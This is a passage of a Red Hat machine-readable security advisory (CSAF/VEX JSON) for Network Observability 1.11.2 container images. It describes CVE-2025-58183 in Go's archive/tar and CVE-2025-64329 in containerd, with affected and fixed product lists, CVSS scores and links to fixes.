"title": "runc: opencontainers/selinux: container escape and denial of service due to arbitrary write gadgets and procfs write redirects"
},
{
"cve": "CVE-2025-58183",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2025-10-29T23:01:50.573951+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2407258"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the archive/tar package in the Go standard library. tar.Reader does not set a maximum size on the number of sparse region data blocks in GNU tar pax 1.0 sparse files. A specially crafted tar archive with a pax header indicating a big number of sparse regions can cause a Go program to try to allocate a large amount of memory, causing an out-of-memory condition and resulting in a denial of service.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "golang: archive/tar: Unbounded allocation when parsing GNU sparse map",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "To exploit this issue, an attacker needs to be able to process a specially crafted GNU tar pax 1.0 archive with the application using the archive/tar package. Additionally, this issue can cause the Go application to allocate a large amount of memory, eventually leading to an out-of-memory condition and resulting in a denial of service with no other security impact. Due to these reasons, this flaw has been rated with a moderate severity.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-58183"
},
{
"category": "external",
"summary": "RHBZ#2407258",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2407258"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-58183",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58183"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-58183",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58183"
},
{
"category": "external",
"summary": "https://go.dev/cl/709861",
"url": "https://go.dev/cl/709861"
},
{
"category": "external",
"summary": "https://go.dev/issue/75677",
"url": "https://go.dev/issue/75677"
},
{
"category": "external",
"summary": "https://groups.google.com/g/golang-announce/c/4Emdl2iQ_bI",
"url": "https://groups.google.com/g/golang-announce/c/4Emdl2iQ_bI"
},
{
"category": "external",
"summary": "https://pkg.go.dev/vuln/GO-2025-4014",
"url": "https://pkg.go.dev/vuln/GO-2025-4014"
}
],
"release_date": "2025-10-29T22:10:14.376000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "golang: archive/tar: Unbounded allocation when parsing GNU sparse map"
},
{
"cve": "CVE-2025-64329",
"cwe": {
"id": "CWE-771",
"name": "Missing Reference to Active Allocated Resource"
},
"discovery_date": "2025-11-07T05:01:08.634160+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2413299"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in containerd. This vulnerability allows a user to exhaust memory on the host due to goroutine leaks via a bug in the CRI (Container Runtime Interface) Attach implementation.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "github.com/containerd/containerd: containerd: Memory exhaustion via CRI Attach implementation goroutine leaks",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "The highest threat of this vulnerability is to system availability. A flaw in containerd\u0027s CRI Attach implementation allows a user to exhaust memory on the host due to goroutine leaks, leading to a denial of service.",
"title": "Statement"
},
{
